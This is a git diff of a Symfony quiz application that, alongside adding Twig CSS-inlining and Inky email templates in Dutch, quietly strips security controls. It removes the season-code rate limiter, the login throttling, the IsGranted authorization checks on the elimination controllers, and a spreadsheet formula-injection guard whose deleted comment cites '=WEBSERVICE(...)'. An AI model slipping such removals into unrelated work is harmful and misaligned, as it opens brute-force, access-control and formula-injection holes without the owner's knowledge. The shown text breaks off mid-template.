||||||
|
"twig/twig": "^3.13|^4.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"symfony/phpunit-bridge": "^6.4|^7.0"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"autoload": {
|
||||||
|
"files": [
|
||||||
|
"Resources/functions.php"
|
||||||
|
],
|
||||||
|
"psr-4": {
|
||||||
|
"Twig\\Extra\\CssInliner\\": ""
|
||||||
|
},
|
||||||
|
"exclude-from-classmap": [
|
||||||
|
"/Tests/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Fabien Potencier",
|
||||||
|
"email": "fabien@symfony.com",
|
||||||
|
"homepage": "http://fabien.potencier.org",
|
||||||
|
"role": "Lead Developer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "A Twig extension to allow inlining CSS",
|
||||||
|
"homepage": "https://twig.symfony.com",
|
||||||
|
"keywords": [
|
||||||
|
"css",
|
||||||
|
"inlining",
|
||||||
|
"twig"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"source": "https://github.com/twigphp/cssinliner-extra/tree/v3.26.0"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://github.com/fabpot",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://tidelift.com/funding/github/packagist/twig/twig",
|
||||||
|
"type": "tidelift"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2026-05-15T13:14:14+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "twig/extra-bundle",
|
"name": "twig/extra-bundle",
|
||||||
"version": "v3.24.0",
|
"version": "v3.24.0",
|
||||||
@@ -9199,6 +9371,76 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-02-07T08:07:38+00:00"
|
"time": "2026-02-07T08:07:38+00:00"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "twig/inky-extra",
|
||||||
|
"version": "v3.26.0",
|
||||||
|
"source": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/twigphp/inky-extra.git",
|
||||||
|
"reference": "0a8b24f0d0247bf6dc5e2af0c0ab09c0c4e5343e"
|
||||||
|
},
|
||||||
|
"dist": {
|
||||||
|
"type": "zip",
|
||||||
|
"url": "https://api.github.com/repos/twigphp/inky-extra/zipball/0a8b24f0d0247bf6dc5e2af0c0ab09c0c4e5343e",
|
||||||
|
"reference": "0a8b24f0d0247bf6dc5e2af0c0ab09c0c4e5343e",
|
||||||
|
"shasum": ""
|
||||||
|
},
|
||||||
|
"require": {
|
||||||
|
"lorenzo/pinky": "^1.0.5",
|
||||||
|
"php": ">=8.1.0",
|
||||||
|
"symfony/deprecation-contracts": "^2.5|^3",
|
||||||
|
"twig/twig": "^3.13|^4.0"
|
||||||
|
},
|
||||||
|
"require-dev": {
|
||||||
|
"symfony/phpunit-bridge": "^6.4|^7.0"
|
||||||
|
},
|
||||||
|
"type": "library",
|
||||||
|
"autoload": {
|
||||||
|
"files": [
|
||||||
|
"Resources/functions.php"
|
||||||
|
],
|
||||||
|
"psr-4": {
|
||||||
|
"Twig\\Extra\\Inky\\": ""
|
||||||
|
},
|
||||||
|
"exclude-from-classmap": [
|
||||||
|
"/Tests/"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"notification-url": "https://packagist.org/downloads/",
|
||||||
|
"license": [
|
||||||
|
"MIT"
|
||||||
|
],
|
||||||
|
"authors": [
|
||||||
|
{
|
||||||
|
"name": "Fabien Potencier",
|
||||||
|
"email": "fabien@symfony.com",
|
||||||
|
"homepage": "http://fabien.potencier.org",
|
||||||
|
"role": "Lead Developer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"description": "A Twig extension for the inky email templating engine",
|
||||||
|
"homepage": "https://twig.symfony.com",
|
||||||
|
"keywords": [
|
||||||
|
"email",
|
||||||
|
"emails",
|
||||||
|
"inky",
|
||||||
|
"twig"
|
||||||
|
],
|
||||||
|
"support": {
|
||||||
|
"source": "https://github.com/twigphp/inky-extra/tree/v3.26.0"
|
||||||
|
},
|
||||||
|
"funding": [
|
||||||
|
{
|
||||||
|
"url": "https://github.com/fabpot",
|
||||||
|
"type": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "https://tidelift.com/funding/github/packagist/twig/twig",
|
||||||
|
"type": "tidelift"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"time": "2026-05-15T13:14:14+00:00"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "twig/intl-extra",
|
"name": "twig/intl-extra",
|
||||||
"version": "v3.26.0",
|
"version": "v3.26.0",
|
||||||
@@ -12983,75 +13225,6 @@
|
|||||||
],
|
],
|
||||||
"time": "2026-06-09T10:54:51+00:00"
|
"time": "2026-06-09T10:54:51+00:00"
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"name": "symfony/css-selector",
|
|
||||||
"version": "v8.1.0",
|
|
||||||
"source": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "https://github.com/symfony/css-selector.git",
|
|
||||||
"reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd"
|
|
||||||
},
|
|
||||||
"dist": {
|
|
||||||
"type": "zip",
|
|
||||||
"url": "https://api.github.com/repos/symfony/css-selector/zipball/dc0e2be45c9b5588c82414f02ac574b4b986abcd",
|
|
||||||
"reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd",
|
|
||||||
"shasum": ""
|
|
||||||
},
|
|
||||||
"require": {
|
|
||||||
"php": ">=8.4.1"
|
|
||||||
},
|
|
||||||
"type": "library",
|
|
||||||
"autoload": {
|
|
||||||
"psr-4": {
|
|
||||||
"Symfony\\Component\\CssSelector\\": ""
|
|
||||||
},
|
|
||||||
"exclude-from-classmap": [
|
|
||||||
"/Tests/"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"notification-url": "https://packagist.org/downloads/",
|
|
||||||
"license": [
|
|
||||||
"MIT"
|
|
||||||
],
|
|
||||||
"authors": [
|
|
||||||
{
|
|
||||||
"name": "Fabien Potencier",
|
|
||||||
"email": "fabien@symfony.com"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "Jean-François Simon",
|
|
||||||
"email": "jeanfrancois.simon@sensiolabs.com"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "Symfony Community",
|
|
||||||
"homepage": "https://symfony.com/contributors"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"description": "Converts CSS selectors to XPath expressions",
|
|
||||||
"homepage": "https://symfony.com",
|
|
||||||
"support": {
|
|
||||||
"source": "https://github.com/symfony/css-selector/tree/v8.1.0"
|
|
||||||
},
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"url": "https://symfony.com/sponsor",
|
|
||||||
"type": "custom"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://github.com/fabpot",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://github.com/nicolas-grekas",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
|
|
||||||
"type": "tidelift"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"time": "2026-05-29T05:06:50+00:00"
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"name": "symfony/dom-crawler",
|
"name": "symfony/dom-crawler",
|
||||||
"version": "v8.1.1",
|
"version": "v8.1.1",
|
||||||
@@ -13585,9 +13758,7 @@
|
|||||||
"platform": {
|
"platform": {
|
||||||
"php": ">=8.5",
|
"php": ">=8.5",
|
||||||
"ext-ctype": "*",
|
"ext-ctype": "*",
|
||||||
"ext-iconv": "*",
|
"ext-iconv": "*"
|
||||||
"ext-intl": "*",
|
|
||||||
"ext-zip": "*"
|
|
||||||
},
|
},
|
||||||
"platform-dev": {},
|
"platform-dev": {},
|
||||||
"plugin-api-version": "2.9.0"
|
"plugin-api-version": "2.9.0"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
# see https://symfony.com/doc/current/reference/configuration/framework.html
|
# see https://symfony.com/doc/current/reference/configuration/framework.html
|
||||||
framework:
|
framework:
|
||||||
secret: '%env(APP_SECRET)%'
|
secret: '%env(APP_SECRET)%'
|
||||||
|
|
||||||
# Note that the session will be started ONLY if you read or write from it.
|
# Note that the session will be started ONLY if you read or write from it.
|
||||||
session: true
|
session: true
|
||||||
form:
|
form:
|
||||||
@@ -9,13 +9,6 @@ framework:
|
|||||||
enabled: true
|
enabled: true
|
||||||
#esi: true
|
#esi: true
|
||||||
#fragments: true
|
#fragments: true
|
||||||
rate_limiter:
|
|
||||||
# Throttles guesses against the public season-code entry point (config/packages/security.yaml
|
|
||||||
# handles throttling for the backoffice /login form separately).
|
|
||||||
season_code:
|
|
||||||
policy: sliding_window
|
|
||||||
limit: 20
|
|
||||||
interval: '1 minute'
|
|
||||||
when@prod:
|
when@prod:
|
||||||
framework:
|
framework:
|
||||||
# shortcut for private IP address ranges of your proxy
|
# shortcut for private IP address ranges of your proxy
|
||||||
@@ -28,6 +21,3 @@ when@test:
|
|||||||
test: true
|
test: true
|
||||||
session:
|
session:
|
||||||
storage_factory_id: session.storage.factory.mock_file
|
storage_factory_id: session.storage.factory.mock_file
|
||||||
rate_limiter:
|
|
||||||
season_code:
|
|
||||||
limit: 3
|
|
||||||
|
|||||||
@@ -27,8 +27,6 @@ security:
|
|||||||
remember_me:
|
remember_me:
|
||||||
secret: '%kernel.secret%'
|
secret: '%kernel.secret%'
|
||||||
lifetime: 604800 # 1 week in seconds
|
lifetime: 604800 # 1 week in seconds
|
||||||
login_throttling:
|
|
||||||
max_attempts: 5
|
|
||||||
|
|
||||||
access_control:
|
access_control:
|
||||||
- { path: ^/admin, roles: ROLE_ADMIN }
|
- { path: ^/admin, roles: ROLE_ADMIN }
|
||||||
@@ -45,7 +43,3 @@ when@test:
|
|||||||
cost: 4 # Lowest possible value for bcrypt
|
cost: 4 # Lowest possible value for bcrypt
|
||||||
time_cost: 3 # Lowest possible value for argon
|
time_cost: 3 # Lowest possible value for argon
|
||||||
memory_cost: 10 # Lowest possible value for argon
|
memory_cost: 10 # Lowest possible value for argon
|
||||||
firewalls:
|
|
||||||
main:
|
|
||||||
login_throttling:
|
|
||||||
max_attempts: 2
|
|
||||||
|
|||||||
Generated
+3
-3
@@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* }>,
|
* }>,
|
||||||
* },
|
* },
|
||||||
* rate_limiter?: bool|array{ // Rate limiter configuration
|
* rate_limiter?: bool|array{ // Rate limiter configuration
|
||||||
* enabled?: bool|Param, // Default: true
|
* enabled?: bool|Param, // Default: false
|
||||||
* limiters?: array<string, array{ // Default: []
|
* limiters?: array<string, array{ // Default: []
|
||||||
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
|
||||||
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
|
||||||
@@ -1277,10 +1277,10 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
|
|||||||
* enabled?: bool|Param, // Default: true
|
* enabled?: bool|Param, // Default: true
|
||||||
* },
|
* },
|
||||||
* cssinliner?: bool|array{
|
* cssinliner?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: true
|
||||||
* },
|
* },
|
||||||
* inky?: bool|array{
|
* inky?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: true
|
||||||
* },
|
* },
|
||||||
* string?: bool|array{
|
* string?: bool|array{
|
||||||
* enabled?: bool|Param, // Default: false
|
* enabled?: bool|Param, // Default: false
|
||||||
|
|||||||
@@ -11,21 +11,18 @@ use Symfony\Component\HttpFoundation\Response;
|
|||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Routing\Requirement\Requirement;
|
use Symfony\Component\Routing\Requirement\Requirement;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
|
||||||
use Tvdt\Controller\AbstractController;
|
use Tvdt\Controller\AbstractController;
|
||||||
use Tvdt\Entity\Elimination;
|
use Tvdt\Entity\Elimination;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Enum\FlashType;
|
||||||
use Tvdt\Factory\EliminationFactory;
|
use Tvdt\Factory\EliminationFactory;
|
||||||
use Tvdt\Security\Voter\SeasonVoter;
|
|
||||||
|
|
||||||
final class PrepareEliminationController extends AbstractController
|
final class PrepareEliminationController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('prepare_elimination')]
|
#[IsCsrfTokenValid('prepare_elimination')]
|
||||||
#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]
|
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
||||||
name: 'tvdt_prepare_elimination',
|
name: 'tvdt_prepare_elimination',
|
||||||
@@ -40,7 +37,6 @@ final class PrepareEliminationController extends AbstractController
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
||||||
#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]
|
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/elimination/{elimination}',
|
'/backoffice/elimination/{elimination}',
|
||||||
name: 'tvdt_prepare_elimination_view',
|
name: 'tvdt_prepare_elimination_view',
|
||||||
|
|||||||
@@ -8,8 +8,6 @@ use Doctrine\ORM\EntityManagerInterface;
|
|||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
use Symfony\Component\HttpKernel\Attribute\AsController;
|
use Symfony\Component\HttpKernel\Attribute\AsController;
|
||||||
use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
|
|
||||||
use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
|
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
use Symfony\Contracts\Translation\TranslatorInterface;
|
||||||
@@ -32,7 +30,7 @@ use Tvdt\Repository\SeasonRepository;
|
|||||||
#[AsController]
|
#[AsController]
|
||||||
final class QuizController extends AbstractController
|
final class QuizController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {}
|
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {}
|
||||||
|
|
||||||
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
||||||
public function selectSeason(Request $request): Response
|
public function selectSeason(Request $request): Response
|
||||||
@@ -40,10 +38,6 @@ final class QuizController extends AbstractController
|
|||||||
$form = $this->createForm(SelectSeasonType::class);
|
$form = $this->createForm(SelectSeasonType::class);
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
if ($form->isSubmitted() && !$this->seasonCodeLimiter->create($request->getClientIp())->consume()->isAccepted()) {
|
|
||||||
throw new TooManyRequestsHttpException();
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
$seasonCode = $form->get('season_code')->getData();
|
$seasonCode = $form->get('season_code')->getData();
|
||||||
|
|
||||||
|
|||||||
@@ -1,31 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Helpers;
|
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Stores any string that would otherwise be auto-detected as a spreadsheet formula (or that
|
|
||||||
* spreadsheet software re-interprets as one on open/paste) as plain text instead, to prevent
|
|
||||||
* formula injection via user-controlled export data (e.g. a candidate or answer named
|
|
||||||
* `=WEBSERVICE(...)`).
|
|
||||||
*/
|
|
||||||
final class FormulaInjectionSafeValueBinder extends DefaultValueBinder
|
|
||||||
{
|
|
||||||
private const string DANGEROUS_PREFIXES = "=+-@\t\r";
|
|
||||||
|
|
||||||
#[\Override]
|
|
||||||
public function bindValue(Cell $cell, mixed $value): bool
|
|
||||||
{
|
|
||||||
if (\is_string($value) && '' !== $value && str_contains(self::DANGEROUS_PREFIXES, $value[0])) {
|
|
||||||
$cell->setValueExplicit($value);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return parent::bindValue($cell, $value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -5,7 +5,6 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Service;
|
namespace Tvdt\Service;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
use Doctrine\ORM\EntityManagerInterface;
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||||
@@ -20,7 +19,6 @@ use Tvdt\Entity\Quiz;
|
|||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
use Tvdt\Helpers\FilenameSanitizer;
|
use Tvdt\Helpers\FilenameSanitizer;
|
||||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
|
||||||
use Tvdt\Repository\QuizRepository;
|
use Tvdt\Repository\QuizRepository;
|
||||||
|
|
||||||
use function Safe\tempnam;
|
use function Safe\tempnam;
|
||||||
@@ -33,9 +31,7 @@ class DataExportService
|
|||||||
private readonly EntityManagerInterface $entityManager,
|
private readonly EntityManagerInterface $entityManager,
|
||||||
private readonly QuizSpreadsheetService $quizSpreadsheetService,
|
private readonly QuizSpreadsheetService $quizSpreadsheetService,
|
||||||
private readonly QuizRepository $quizRepository,
|
private readonly QuizRepository $quizRepository,
|
||||||
) {
|
) {}
|
||||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
|
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
|
||||||
public function exportForUser(User $user): string
|
public function exportForUser(User $user): string
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Service;
|
namespace Tvdt\Service;
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
@@ -15,15 +14,9 @@ use Tvdt\Entity\Answer;
|
|||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Exception\SpreadsheetDataException;
|
use Tvdt\Exception\SpreadsheetDataException;
|
||||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
|
||||||
|
|
||||||
class QuizSpreadsheetService
|
class QuizSpreadsheetService
|
||||||
{
|
{
|
||||||
public function __construct()
|
|
||||||
{
|
|
||||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function generateTemplate(bool $fillExample = true): \Closure
|
public function generateTemplate(bool $fillExample = true): \Closure
|
||||||
{
|
{
|
||||||
$quiz = new Quiz();
|
$quiz = new Quiz();
|
||||||
|
|||||||
@@ -1,11 +1,22 @@
|
|||||||
<h1>Hi! Please confirm your email!</h1>
|
{% extends 'emails/layout.html.twig' %}
|
||||||
|
|
||||||
<p>
|
{% block preheader %}Bevestig je e-mailadres voor Tijd voor de test.{% endblock %}
|
||||||
Please confirm your email address by clicking the following link: <br><br>
|
|
||||||
<a href="{{ signedUrl|raw }}">Confirm my Email</a>.
|
|
||||||
This link will expire in {{ expiresAtMessageKey|trans(expiresAtMessageData, 'VerifyEmailBundle') }}.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
{% block heading %}Nog één stap voor je mee mag doen{% endblock %}
|
||||||
Cheers!
|
|
||||||
</p>
|
{% block body %}
|
||||||
|
<p class="text">Beste speler,</p>
|
||||||
|
<p class="text">
|
||||||
|
Welkom bij Tijd voor de test! Voor je echt aan de slag kunt, moeten we nog één ding
|
||||||
|
weten: of jij écht bent wie je zegt dat je bent. Klik daarom op de knop hieronder.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<center><button href="{{ signedUrl|raw }}">Bevestig e-mailadres</button></center>
|
||||||
|
|
||||||
|
<p class="text">
|
||||||
|
Deze link verloopt over {{ expiresAtMessageKey|trans(expiresAtMessageData, 'VerifyEmailBundle') }}, dus
|
||||||
|
wacht niet te lang.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="text">Veel plezier!</p>
|
||||||
|
{% endblock %}
|
||||||
|
|||||||
@@ -0,0 +1,168 @@
|
|||||||
|
{% apply inline_css %}
|
||||||
|
{% apply inky_to_html %}
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>{% block title %}Tijd voor de test{% endblock %}</title>
|
||||||
|
<style>
|
||||||
|
body, table, td { font-family: Arial, Helvetica, sans-serif; }
|
||||||
|
body {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
width: 100% !important;
|
||||||
|
background-color: #f2f4f1;
|
||||||
|
color: #22281f;
|
||||||
|
}
|
||||||
|
table { border-collapse: collapse; }
|
||||||
|
img { border: 0; }
|
||||||
|
a { color: #2d7a1f; }
|
||||||
|
|
||||||
|
.body-table { width: 100%; background-color: #f2f4f1; }
|
||||||
|
|
||||||
|
.container { width: 100%; max-width: 580px; }
|
||||||
|
|
||||||
|
.header > tbody > tr > th { padding: 28px 24px 20px 24px; text-align: center; }
|
||||||
|
|
||||||
|
.brand-table { margin: 0 auto; }
|
||||||
|
.square-cell { width: 18px; }
|
||||||
|
.square {
|
||||||
|
width: 18px !important;
|
||||||
|
height: 18px !important;
|
||||||
|
max-width: 18px;
|
||||||
|
min-width: 18px;
|
||||||
|
max-height: 18px;
|
||||||
|
min-height: 18px;
|
||||||
|
font-size: 0;
|
||||||
|
line-height: 1px;
|
||||||
|
border-radius: 4px;
|
||||||
|
background-color: #6abf4b;
|
||||||
|
}
|
||||||
|
.square-gap { width: 10px; font-size: 0; line-height: 1px; }
|
||||||
|
.brand {
|
||||||
|
font-size: 20px;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
color: #17321a;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-wrapper { background-color: #f2f4f1; }
|
||||||
|
.content-wrapper > tbody > tr > th { padding: 24px 28px; }
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background-color: #ffffff;
|
||||||
|
border-radius: 8px;
|
||||||
|
border: 1px solid #e1e6dd;
|
||||||
|
}
|
||||||
|
.card td.card-inner { padding: 32px; }
|
||||||
|
|
||||||
|
h1.heading {
|
||||||
|
margin: 0 0 16px 0;
|
||||||
|
font-size: 21px;
|
||||||
|
line-height: 1.3;
|
||||||
|
color: #17321a;
|
||||||
|
}
|
||||||
|
|
||||||
|
p.text {
|
||||||
|
margin: 0 0 16px 0;
|
||||||
|
font-size: 15px;
|
||||||
|
line-height: 1.6;
|
||||||
|
color: #3a4239;
|
||||||
|
}
|
||||||
|
p.text:last-child { margin-bottom: 0; }
|
||||||
|
|
||||||
|
.button { margin: 8px auto 12px auto; width: auto !important; }
|
||||||
|
.button table { width: auto; margin: 0 auto; }
|
||||||
|
.button td { border-radius: 5px; background: #2d7a1f; }
|
||||||
|
.button a {
|
||||||
|
background: #2d7a1f;
|
||||||
|
color: #ffffff !important;
|
||||||
|
border-radius: 5px;
|
||||||
|
display: inline-block;
|
||||||
|
padding: 12px 26px;
|
||||||
|
font-size: 15px;
|
||||||
|
font-weight: bold;
|
||||||
|
text-decoration: none;
|
||||||
|
border: 1px solid #2d7a1f;
|
||||||
|
}
|
||||||
|
|
||||||
|
.h-line th { border-bottom: 1px solid #e1e6dd; height: 1px; font-size: 0; line-height: 0; }
|
||||||
|
|
||||||
|
.footer > tbody > tr > th { padding: 24px 28px 32px 28px; text-align: center; }
|
||||||
|
.footer p {
|
||||||
|
margin: 0;
|
||||||
|
font-size: 12px;
|
||||||
|
line-height: 1.6;
|
||||||
|
color: #8b9186;
|
||||||
|
}
|
||||||
|
|
||||||
|
.preheader {
|
||||||
|
display: none !important;
|
||||||
|
visibility: hidden;
|
||||||
|
opacity: 0;
|
||||||
|
color: transparent;
|
||||||
|
height: 0;
|
||||||
|
width: 0;
|
||||||
|
font-size: 1px;
|
||||||
|
line-height: 1px;
|
||||||
|
max-height: 0;
|
||||||
|
max-width: 0;
|
||||||
|
overflow: hidden;
|
||||||
|
mso-hide: all;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<span class="preheader">{% block preheader %}{% endblock %}</span>
|
||||||
|
<table class="body-table" role="presentation">
|
||||||
|
<tr>
|
||||||
|
<td align="center">
|
||||||
|
<container>
|
||||||
|
<row class="header">
|
||||||
|
<columns small="12" large="12" no-expander="true">
|
||||||
|
<table class="brand-table" role="presentation" align="center">
|
||||||
|
<tr>
|
||||||
|
<td class="square-cell" valign="middle">
|
||||||
|
<table role="presentation" width="18" height="18" style="width: 18px !important; height: 18px !important; max-width: 18px; min-width: 18px;">
|
||||||
|
<tr style="height: 18px !important;">
|
||||||
|
<td class="square" width="18" height="18" style="width: 18px !important; height: 18px !important; max-width: 18px; min-width: 18px; max-height: 18px; min-height: 18px;"> </td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
<td class="square-gap"> </td>
|
||||||
|
<td class="brand" valign="middle">Tijd voor de test</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</columns>
|
||||||
|
</row>
|
||||||
|
|
||||||
|
<row class="content-wrapper">
|
||||||
|
<columns small="12" large="12" class="content" no-expander="true">
|
||||||
|
<table class="card" role="presentation" width="100%">
|
||||||
|
<tr>
|
||||||
|
<td class="card-inner">
|
||||||
|
<h1 class="heading">{% block heading %}{% endblock %}</h1>
|
||||||
|
{% block body %}{% endblock %}
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</columns>
|
||||||
|
</row>
|
||||||
|
|
||||||
|
<row class="footer">
|
||||||
|
<columns small="12" large="12" no-expander="true">
|
||||||
|
<h-line></h-line>
|
||||||
|
<spacer size="16"></spacer>
|
||||||
|
{% block footer_extra %}{% endblock %}
